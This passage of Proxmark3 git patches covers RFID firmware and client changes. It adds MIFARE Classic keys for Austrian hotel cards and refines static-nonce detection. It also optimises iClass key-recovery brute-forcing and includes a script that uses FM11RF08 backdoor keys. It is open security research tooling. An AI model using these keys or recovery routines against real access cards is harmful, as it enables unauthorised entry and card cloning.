out[ST25TB_SR_BLOCK_SIZE] = {0}; + status = read_sr_block(blockno, out, sizeof(out)); if (status == PM3_SUCCESS) { if (memcmp(data, out, 4) == 0) { PrintAndLogEx(SUCCESS, "SRx write block ( " _GREEN_("ok") " )"); @@ -1974,7 +1974,7 @@ static int CmdHF14BRestore(const char *Cmd) { // verify uint8_t out[ST25TB_SR_BLOCK_SIZE] = {0}; - status = read_sr_block(blockno, out); + status = read_sr_block(blockno, out, sizeof(out)); if (status == PM3_SUCCESS) { if (memcmp(data + blockno * ST25TB_SR_BLOCK_SIZE, out, ST25TB_SR_BLOCK_SIZE) == 0) { printf("\33[2K\r"); From 5c195b8a1415f5bea5a25970a09ba660de541dec Mon Sep 17 00:00:00 2001 From: nvx Date: Mon, 4 Nov 2024 22:04:05 +1000 Subject: [PATCH 071/155] fix ssp_clk sometimes resetting to 0 shortly after being started or reset this could happen if TC2 was already 0 when it was started or reset resulting in the initial reset not happening until TC0 had overflowed for the first time as the delay to ensure this didn't happen would be missed when TC2 was already 0 the new behaviour results in TIOA0 being toggled when a software trigger of TC0 happens which makes TC2 reset immediately without having to wait for TC0 to overflow --- common_arm/ticks.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/common_arm/ticks.c b/common_arm/ticks.c index 019c3b10c..10c3dcb72 100644 --- a/common_arm/ticks.c +++ b/common_arm/ticks.c @@ -149,7 +149,8 @@ void StartCountSspClk(void) { | AT91C_TC_WAVE // Waveform Mode | AT91C_TC_WAVESEL_UP // just count | AT91C_TC_ACPA_CLEAR // Clear TIOA0 on RA Compare - | AT91C_TC_ACPC_SET; // Set TIOA0 on RC Compare + | AT91C_TC_ACPC_SET // Set TIOA0 on RC Compare + | AT91C_TC_ASWTRG_SET; // Set TIOA0 on software trigger to trigger instant reset of TC2 AT91C_BASE_TC0->TC_RA = 1; // RA Compare value = 1; pulse width to TC2 AT91C_BASE_TC0->TC_RC = 0; // RC Compare value = 0; increment TC2 on overflow @@ -191,8 +192,8 @@ void StartCountSspClk(void) { // whenever the last three bits of our counter go 0, we can be sure to be in the middle of a frame transfer. // (just started with the transfer of the 4th Bit). - // The high word of the counter (TC2) will not reset until the low word (TC0) overflows. - // Therefore need to wait quite some time before we can use the counter. + // The high word of the counter (TC2) will not reset until the low word (TC0) clocks to process the external trigger. + // Therefore may need to wait a little bit before we can use the counter. while (AT91C_BASE_TC2->TC_CV > 0); } void ResetSspClk(void) { @@ -336,4 +337,3 @@ void StopTicks(void) { AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; } - From 0d28545fb5fa8a5f4fa50a0b91fb55f4a5091f97 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Mon, 4 Nov 2024 15:47:42 +0100 Subject: [PATCH 072/155] Update mfc_default_keys.dic added Hotel cards from Austria AB287B3B4903 7B0DEDA7E162 Signed-off-by: Einstein2150 --- client/dictionaries/mfc_default_keys.dic | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 7123082c1..99717cc50 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2694,3 +2694,7 @@ D68D7EBB9551 ACD30DFFB434 D1A27C8EC5DF F14D329CBDBE +# +# Hotel cards from Austria +AB287B3B4903 +7B0DEDA7E162 From 6706bdb13fd7ebdb81c27743443ece3c75929af0 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 5 Nov 2024 09:30:22 +0100 Subject: [PATCH 073/155] hf mf isen: detect special static nonce nt_first==nt_nested --- armsrc/mifarecmd.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 167e1d640..71a5c52d5 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -3095,6 +3095,7 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + uint8_t counter = 0; uint8_t enc_counter = 0; uint8_t key_auth_cmd = MIFARE_AUTH_KEYA + key_type; uint8_t key_auth_cmd_nested = MIFARE_AUTH_KEYA + key_type_nested; @@ -3105,6 +3106,7 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * uint32_t cuid; uint32_t nt; uint32_t old_nt; + uint32_t nt_first; uint32_t ntenc; uint8_t ntencpar; if (nr_nested == 0) { @@ -3140,7 +3142,7 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * retval = PM3_ESOFT; goto OUT; } - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &old_nt, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &nt_first, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); retval = PM3_ESOFT; goto OUT; @@ -3158,7 +3160,10 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * retval = PM3_ESOFT; goto OUT; } else if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Nonce distance: %i", nonce_distance(old_nt, nt)); + Dbprintf("Nonce distance: %i", nonce_distance(nt_first, nt)); + } + if (nt == nt_first) { + counter++; } old_nt = nt; } @@ -3172,6 +3177,9 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * } else if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("Nonce distance: %i", nonce_distance(old_nt, nt)); } + if (nt == nt_first) { + counter++; + } old_nt = nt; if (oldntenc == 0) { oldntenc = ntenc; @@ -3180,7 +3188,9 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * } } - if (enc_counter) { + if (counter) { + data[0] = NONCE_STATIC; + } else if (enc_counter) { data[0] = NONCE_STATIC_ENC; data[1] = (cuid >> 24) & 0xFF; data[2] = (cuid >> 16) & 0xFF; From 46813e0e50dc6d1299174b48e3ac821a169d3081 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 5 Nov 2024 17:07:54 +0100 Subject: [PATCH 074/155] hf mf isen: rewrite counters, add specific NONCE_SUPERSTATIC case (when first nt == nested nt) --- armsrc/mifarecmd.c | 90 +++++++++++++++++++++++++++++++------------- client/src/cmdhfmf.c | 20 ++++++---- include/pm3_cmd.h | 9 +++-- 3 files changed, 80 insertions(+), 39 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 71a5c52d5..5ebc43acd 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -3095,20 +3095,25 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - uint8_t counter = 0; - uint8_t enc_counter = 0; + uint8_t first_nt_counter = 0; + uint8_t first_nt_repetition_counter = 0; + uint8_t nested_nt_session_counter = 0; + uint8_t nested_nt_repetition_counter = 0; + uint8_t first_and_nested_nt_repetition_counter = 0; uint8_t key_auth_cmd = MIFARE_AUTH_KEYA + key_type; uint8_t key_auth_cmd_nested = MIFARE_AUTH_KEYA + key_type_nested; uint64_t ui64key = bytes_to_num(key, 6); uint64_t ui64key_nested = bytes_to_num(key_nested, 6); uint32_t oldntenc = 0; bool need_first_auth = true; - uint32_t cuid; - uint32_t nt; - uint32_t old_nt; - uint32_t nt_first; - uint32_t ntenc; - uint8_t ntencpar; + uint32_t cuid = 0; + uint32_t nt = 0; + uint32_t old_nt = 0; + uint32_t nt_first = 0; + uint32_t old_nt_first = 0; + uint32_t ntenc = 0; + uint8_t ntencpar = 0; + bool is_last_auth_first_auth = true; if (nr_nested == 0) { cuid = 0; if (iso14443a_select_card(NULL, NULL, &cuid, true, 0, true) == false) { @@ -3116,13 +3121,13 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * retval = PM3_ESOFT; goto OUT; } - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &old_nt, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &nt, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); retval = PM3_ESOFT; goto OUT; }; - } - for (uint8_t i = 0; i < nr_nested; i++) { + first_nt_counter++; + } else for (uint8_t i = 0; i < nr_nested; i++) { if (need_first_auth) { cuid = 0; @@ -3147,6 +3152,12 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * retval = PM3_ESOFT; goto OUT; }; + is_last_auth_first_auth = true; + first_nt_counter++; + if ((first_nt_counter > 1) && (old_nt_first == nt_first)) { + first_nt_repetition_counter++; + } + old_nt_first = nt_first; if (!reset && !hardreset) { need_first_auth = false; } @@ -3160,10 +3171,11 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * retval = PM3_ESOFT; goto OUT; } else if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Nonce distance: %i", nonce_distance(nt_first, nt)); + Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); } + is_last_auth_first_auth = false; if (nt == nt_first) { - counter++; + first_and_nested_nt_repetition_counter++; } old_nt = nt; } @@ -3175,27 +3187,42 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * if (g_dbglevel >= DBG_ERROR) Dbprintf("Nested auth error"); need_first_auth = true; } else if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Nonce distance: %i", nonce_distance(old_nt, nt)); - } - if (nt == nt_first) { - counter++; + if (is_last_auth_first_auth) { + Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); + } else { + Dbprintf("Nonce distance: %5i", nonce_distance(old_nt, nt)); + } } + nested_nt_session_counter++; + is_last_auth_first_auth = false; old_nt = nt; - if (oldntenc == 0) { - oldntenc = ntenc; - } else if (ntenc == oldntenc) { - enc_counter++; + if (nt == nt_first) { + first_and_nested_nt_repetition_counter++; } + if ((nested_nt_session_counter > 1) && (oldntenc == ntenc)) { + nested_nt_repetition_counter++; + } + oldntenc = ntenc; } - if (counter) { + data[1] = (cuid >> 24) & 0xFF; + data[2] = (cuid >> 16) & 0xFF; + data[3] = (cuid >> 8) & 0xFF; + data[4] = (cuid >> 0) & 0xFF; + if (first_and_nested_nt_repetition_counter) { + data[0] = NONCE_SUPERSTATIC; + data[5] = (nt >> 24) & 0xFF; + data[6] = (nt >> 16) & 0xFF; + data[7] = (nt >> 8) & 0xFF; + data[8] = (nt >> 0) & 0xFF; + } else if (first_nt_repetition_counter) { data[0] = NONCE_STATIC; - } else if (enc_counter) { + data[5] = (nt_first >> 24) & 0xFF; + data[6] = (nt_first >> 16) & 0xFF; + data[7] = (nt_first >> 8) & 0xFF; + data[8] = (nt_first >> 0) & 0xFF; + } else if (nested_nt_repetition_counter) { data[0] = NONCE_STATIC_ENC; - data[1] = (cuid >> 24) & 0xFF; - data[2] = (cuid >> 16) & 0xFF; - data[3] = (cuid >> 8) & 0xFF; - data[4] = (cuid >> 0) & 0xFF; data[5] = (nt >> 24) & 0xFF; data[6] = (nt >> 16) & 0xFF; data[7] = (nt >> 8) & 0xFF; @@ -3207,6 +3234,15 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * data[13] = ntencpar; } else { data[0] = NONCE_NORMAL; + data[5] = (nt >> 24) & 0xFF; + data[6] = (nt >> 16) & 0xFF; + data[7] = (nt >> 8) & 0xFF; + data[8] = (nt >> 0) & 0xFF; + data[9] = (ntenc >> 24) & 0xFF; + data[10] = (ntenc >> 16) & 0xFF; + data[11] = (ntenc >> 8) & 0xFF; + data[12] = (ntenc >> 0) & 0xFF; + data[13] = ntencpar; } OUT: diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 235dcb1bf..d89fe741d 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9803,8 +9803,10 @@ static int CmdHF14AMfInfo(const char *Cmd) { if (res == NONCE_STATIC) { PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes")); fKeyType = 0xFF; // dont detect twice - } - if (res == NONCE_STATIC_ENC) { + } else if (res == NONCE_SUPERSTATIC) { + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes, even when nested")); + fKeyType = 0xFF; // dont detect twice + } else if (res == NONCE_STATIC_ENC) { PrintAndLogEx(SUCCESS, "Static enc nonce... " _RED_("yes")); fKeyType = 0xFF; // dont detect twice } @@ -9814,9 +9816,9 @@ static int CmdHF14AMfInfo(const char *Cmd) { res = detect_classic_static_encrypted_nonce(0, fKeyType, fkey); if (res == NONCE_STATIC) { PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes")); - } - - if (res == NONCE_STATIC_ENC) { + } else if (res == NONCE_SUPERSTATIC) { + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes, even when nested")); + } else if (res == NONCE_STATIC_ENC) { PrintAndLogEx(SUCCESS, "Static enc nonce... " _RED_("yes")); } } @@ -10056,11 +10058,13 @@ static int CmdHF14AMfISEN(const char *Cmd) { } int res = detect_classic_static_encrypted_nonce_ex(blockn, keytype, key, blockn_nested, keytype_nested, key_nested, nr_nested, reset, hardreset, addread, addauth, incblk2, corruptnrar, corruptnrarparity, true); - if (res == NONCE_STATIC) + if (res == NONCE_STATIC) { PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes")); - if (res == NONCE_STATIC_ENC) + } else if (res == NONCE_SUPERSTATIC) { + PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes, even when nested")); + } else if (res == NONCE_STATIC_ENC) { PrintAndLogEx(SUCCESS, "Static enc nonce..... " _RED_("yes")); - + } if (setDeviceDebugLevel(dbg_curr, false) != PM3_SUCCESS) { return PM3_EFAILED; } diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 1213e7d4d..c9cc314ce 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -839,10 +839,11 @@ typedef struct { #define MODE_FULLSIM 2 // Static Nonce detection -#define NONCE_FAIL 0x01 -#define NONCE_NORMAL 0x02 -#define NONCE_STATIC 0x03 -#define NONCE_STATIC_ENC 0x04 +#define NONCE_FAIL 0x01 +#define NONCE_NORMAL 0x02 +#define NONCE_STATIC 0x03 +#define NONCE_STATIC_ENC 0x04 +#define NONCE_SUPERSTATIC 0x05 // Dbprintf flags #define FLAG_RAWPRINT 0x00 From 73e5045bcdb3718b17c9b9b4caae2e05fe81317a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 5 Nov 2024 22:28:00 +0100 Subject: [PATCH 075/155] fix loading nfc files --- client/src/fileutils.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/fileutils.c b/client/src/fileutils.c index 481c872cc..8422efd79 100644 --- a/client/src/fileutils.c +++ b/client/src/fileutils.c @@ -3085,7 +3085,7 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl case FLIPPER: { nfc_df_e dumptype; res = detect_nfc_dump_format(fn, &dumptype, true); - if (res != SUCCESS) { + if (res != PM3_SUCCESS) { break; } From 86b8549d2b5766b639460525eec5a8b916eddac4 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 6 Nov 2024 00:27:24 +0100 Subject: [PATCH 076/155] hf mf ecfill: show dump time --- client/src/cmdhfmf.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index d89fe741d..ffe555e3a 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -5036,6 +5036,7 @@ static int CmdHF14AMfECFill(const char *Cmd) { memcpy(payload.key, key, sizeof(payload.key)); clearCommandBuffer(); + uint64_t t1 = msclock(); SendCommandNG(CMD_HF_MIFARE_EML_LOAD, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; @@ -5043,9 +5044,10 @@ static int CmdHF14AMfECFill(const char *Cmd) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } + t1 = msclock() - t1; if (resp.status == PM3_SUCCESS) - PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " )"); + PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " ) in " _YELLOW_("%i") " ms", t1); else PrintAndLogEx(FAILED, "Fill ( " _RED_("fail") " )"); From a8204187abb3b5f0998b6e0b811b3bcaf88e3e0e Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 6 Nov 2024 16:38:32 +0800 Subject: [PATCH 077/155] Fixed elite configcard generation Fixed elite configcard generation. From nfc-iclass and other resources block 13 generation was completely missing. This resulted in configcards for legacy readers to be working on Rev.A readers but not Rev.C readers when it came to setting elite keys or enabling keyrolling. --- CHANGELOG.md | 1 + client/src/cmdhficlass.c | 6 +++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 285027567..c6d34e9ab 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys) - Changed `hf mf c*` - now accepts a --gdm flag to write using uscuid/gdm 20/23 alt magic wakeup (@nvx) - Changed `pm3_console()` - Python/Lua/C: replace `passthru` by `capture` and `quiet` (@doegox) - Fixed `hf iclass list` - annotation crc handled better (@iceman1001) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index c3c168c1c..53a6d5262 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -500,11 +500,15 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke memcpy(data + (0x0D * 8), lkey, sizeof(enckey1)); } // encrypted 0xFF - for (uint8_t i = 0x0E; i < 0x14; i++) { + for (uint8_t i = 0x0E; i < 0x13; i++) { memcpy(data + (i * 8), ffs, sizeof(ffs)); } PrintAndLogEx(NORMAL, "( " _GREEN_("ok") " )"); + //Block 13 (This is needed for Rev.C readers!) + uint8_t block_0x13[PICOPASS_BLOCK_SIZE] = {0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x1C}; + memcpy(data + (0x13 * 8), block_0x13, sizeof(block_0x13)); + // encrypted partial keyroll key 14 PrintAndLogEx(INFO, "Setting encrypted partial key14... " NOLF); uint8_t foo[8] = {0x15}; From 110dfab668307ba2ed5f320bf6ea6200f9a91a97 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 6 Nov 2024 16:52:48 +0800 Subject: [PATCH 078/155] Improved algorithm for hf iclass legrec Improved algorithm for hf iclass legrec by taking in account the hash0 limitations for the ending bits distributions of each key bite, thus reducing the key entropy and number of required tries from 2^24 to almost 2^19 --- CHANGELOG.md | 1 + armsrc/iclass.c | 47 +++++++++++++++++++++++++++++++++++------------ 2 files changed, 36 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c6d34e9ab..bc5da24d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added improved algorithm for `hf iclass legrec` leveraging reduced entropy from hash0 constraints (@antiklesys) - Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys) - Changed `hf mf c*` - now accepts a --gdm flag to write using uscuid/gdm 20/23 alt magic wakeup (@nvx) - Changed `pm3_console()` - Python/Lua/C: replace `passthru` by `capture` and `quiet` (@doegox) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 7a9256323..26f466c95 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2157,19 +2157,41 @@ out: } } -static void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { - uint32_t carry = index; +static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { + + uint8_t bits_index = index / 16383; + uint8_t ending_bits[] = { //all possible 70 combinations of 4x0 and 4x1 as key ending bits + 0x0F, 0x17, 0x1B, 0x1D, 0x1E, 0x27, 0x2B, 0x2D, 0x2E, 0x33, + 0x35, 0x36, 0x39, 0x3A, 0x3C, 0x47, 0x4B, 0x4D, 0x4E, 0x53, + 0x55, 0x56, 0x59, 0x5A, 0x5C, 0x63, 0x65, 0x66, 0x69, 0x6A, + 0x6C, 0x71, 0x72, 0x74, 0x78, 0x87, 0x8B, 0x8D, 0x8E, 0x93, + 0x95, 0x96, 0x99, 0x9A, 0x9C, 0xA3, 0xA5, 0xA6, 0xA9, 0xAA, + 0xAC, 0xB1, 0xB2, 0xB4, 0xB8, 0xC3, 0xC5, 0xC6, 0xC9, 0xCA, + 0xCC, 0xD1, 0xD2, 0xD4, 0xD8, 0xE1, 0xE2, 0xE4, 0xE8, 0xF0 + }; + + uint8_t binary_endings[8]; // Array to store binary values for each ending bit + // Extract each bit from the ending_bits[k] and store it in binary_endings + uint8_t ending = ending_bits[bits_index]; + for (int i = 7; i >= 0; i--) { + binary_endings[i] = ending & 1; + ending >>= 1; + } + + uint8_t binary_mids[8]; // Array to store the 2-bit chunks of index + // Iterate over the 16-bit integer and store 2 bits at a time in the result array + for (int i = 0; i < 8; i++) { + // Shift and mask to get 2 bits and store them as an 8-bit value + binary_mids[7 - i] = (index >> (i * 2)) & 0x03; // 0x03 is a mask for 2 bits (binary 11) + } memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); - for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { - uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry - keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0 - - carry >>= 3; // Shift right by 3 bits for the next byte - if (carry == 0) { - // If no more carry, break early to avoid unnecessary loops - break; - } + // Start from the second byte, index 1 as we're never gonna touch the first byte + for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) { + // Clear the last bit of the current byte (AND with 0xFE) + keyBlock[i] &= 0xF8; + // Set the last bit to the corresponding value from binary_endings (OR with binary_endings[i]) + keyBlock[i] |= ((binary_mids[i] & 0x03) << 1) | (binary_endings[i] & 0x01); } } @@ -2292,8 +2314,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { } } - generate_single_key_block_inverted(zero_key, index, genkeyblock); if (msg->test) { + //Step3 Calculate New Key (Optimised Algo V2) + generate_single_key_block_inverted_opt(zero_key, index, genkeyblock); memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); } From 2c2d1d0c1b22f3f37ae6a189238f43bbac31e71a Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 6 Nov 2024 18:49:22 +0100 Subject: [PATCH 079/155] fix compiler warning --- client/src/cmdhfmf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index ffe555e3a..661630426 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -5047,7 +5047,7 @@ static int CmdHF14AMfECFill(const char *Cmd) { t1 = msclock() - t1; if (resp.status == PM3_SUCCESS) - PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " ) in " _YELLOW_("%i") " ms", t1); + PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " ) in " _YELLOW_("%" PRIu64 ) " ms", t1); else PrintAndLogEx(FAILED, "Fill ( " _RED_("fail") " )"); From 55f8e6ed4b10b48728459008f88f9ffec3ba3158 Mon Sep 17 00:00:00 2001 From: BlueChip Date: Wed, 6 Nov 2024 21:31:58 +0000 Subject: [PATCH 080/155] refactor console flushing; make indentation consistent; change the word 'hash' for 'sig'nature --- client/pyscripts/fm11rf08_full.py | 41 ++++++++++++++----------------- 1 file changed, 18 insertions(+), 23 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 115bc0bd8..ea0eb1f5b 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -53,7 +53,7 @@ except ModuleNotFoundError: # >> "logfile" #============================================================================== def startlog(uid, append = False): - global logfile + global logfile logfile = f"{dpath}hf-mf-{uid:08X}-log.txt" if append == False: @@ -74,8 +74,8 @@ def lprint(s, end='\n', flush=False): # >> "keyfile" #============================================================================== def main(): - global prompt - global p + global prompt + global p prompt = "[bc]" p = pm3.pm3() # console interface @@ -94,8 +94,10 @@ def main(): getDarkKey() decodeBlock0() - global keyfile + global keyfile + global mad + mad = False keyfile = f"{dpath}hf-mf-{uid:08X}-key.bin" keyok = False @@ -137,7 +139,7 @@ def main(): # >> "dpath" #============================================================================== def getPrefs(): - global dpath + global dpath p.console("prefs show --json") prefs = json.loads(p.grabbed_output) @@ -158,7 +160,7 @@ def checkVer(): # >> args. #============================================================================== def parseCli(): - global args + global args parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08* cards.') @@ -183,8 +185,8 @@ def parseCli(): ''' #============================================================================== def getDarkKey(): - global dkey - global blk0 + global dkey + global blk0 # FM11RF08S FM11RF08 FM11RF32 dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] @@ -196,13 +198,12 @@ def getDarkKey(): for k in dklist: cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" print(f"{prompt} `{cmd}`", end='', flush=True) - res = p.console(f"{cmd}") + res = p.console(f"{cmd}", capture=False) if res == 0: print(" - success") dkey = k; break; print(f" - fail [{res}]") - _ = p.grabbed_output if dkey == "": print(f"{prompt}") @@ -219,8 +220,8 @@ def getDarkKey(): # >> "uids" #============================================================================== def decodeBlock0(): - global uid - global uids + global uid + global uids # We do this early so we can name the logfile! uids = blk0[0:11] # UID string : "11 22 33 44" @@ -230,7 +231,7 @@ def decodeBlock0(): lprint(prompt) lprint(f"{prompt} UID BCC ++----- RF08 ID -----++") lprint(f"{prompt} ! ! SAK !! !!") - lprint(f"{prompt} ! ! ! ATQA !! RF08 Hash !!") + lprint(f"{prompt} ! ! ! ATQA !! Fudan Sig !!") lprint(f"{prompt} !---------. !. !. !---. VV .---------------. VV") # 0 12 15 18 24 27 45 # ! ! ! ! ! ! ! @@ -333,12 +334,10 @@ def fudanValidate(): # If keys cannot be loaded AND --recover is specified, then run key recovery # >> "keyfile" # >> "key[17][2]" -# >> mad! #============================================================================== def loadKeys(): - global keyfile - global key - global mad + global keyfile + global key key = [[0 for _ in range(2)] for _ in range(17)] # create a fresh array @@ -361,7 +360,7 @@ def loadKeys(): # >> "keyfile" #============================================================================== def recoverKeys(): - global keyfile + global keyfile badrk = 0 # 'bad recovered key' count (ie. not recovered) @@ -402,7 +401,6 @@ def verifyKeys(): global mad badk = 0 - mad = False lprint(f"{prompt} Check keys..") @@ -417,7 +415,7 @@ def verifyKeys(): cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" lprint(f"{prompt} `{cmd}`", end='', flush=True) - res = p.console(f"{cmd}") + res = p.console(f"{cmd}", capture=False) lprint(" " * (3-len(str(bn))), end="") if res == 0: lprint(" ... PASS", end="") @@ -434,9 +432,6 @@ def verifyKeys(): else: lprint("") - # We need to flush all the output we just collected - _ = p.grabbed_output - if badk > 0: lprint(f"{prompt} ! {badk} bad key", end='') lprint("s exist" if badk != 1 else " exists") From f85fbe71205264f3e8c470001c5a079df149c521 Mon Sep 17 00:00:00 2001 From: BlueChip Date: Wed, 6 Nov 2024 22:16:19 +0000 Subject: [PATCH 081/155] update licence for proxmark submission --- client/pyscripts/fm11rf08_full.py | 37 ++++++++++++++++++------------- 1 file changed, 21 insertions(+), 16 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index ea0eb1f5b..293943d82 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -1,28 +1,34 @@ #!/usr/bin/env python3 #------------------------------------------------------------------------------ -# Revision log: +# Revision log & Licence #------------------------------------------------------------------------------ ''' -1.1.0 - BC - Major refactor -1.0.0 - BC - Initial release +1.2.0 - BC - Proxmark3 Submission ''' -script_ver = "1.1.0" +script_ver = "1.2.0" ''' -This was originally created for my local defcon chapter to aid teaching NFC. -We wanted a realistic challenge which could NOT be resolved by typing `autopwn`. -Enter FM11RF08S tags ... which (currently) don't get autopwn'ed. +Copyright @csBlueChip -We decided the flag would be: The MD5 of the card data, -but this had to include all 8 documented Dark blocks AND all 32+2=34 Keys. -Not rocket surgery if you know what you're doing, but non-trivial for someone -who is still struggling to spell `autoporn` <-- yes, this happened! +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 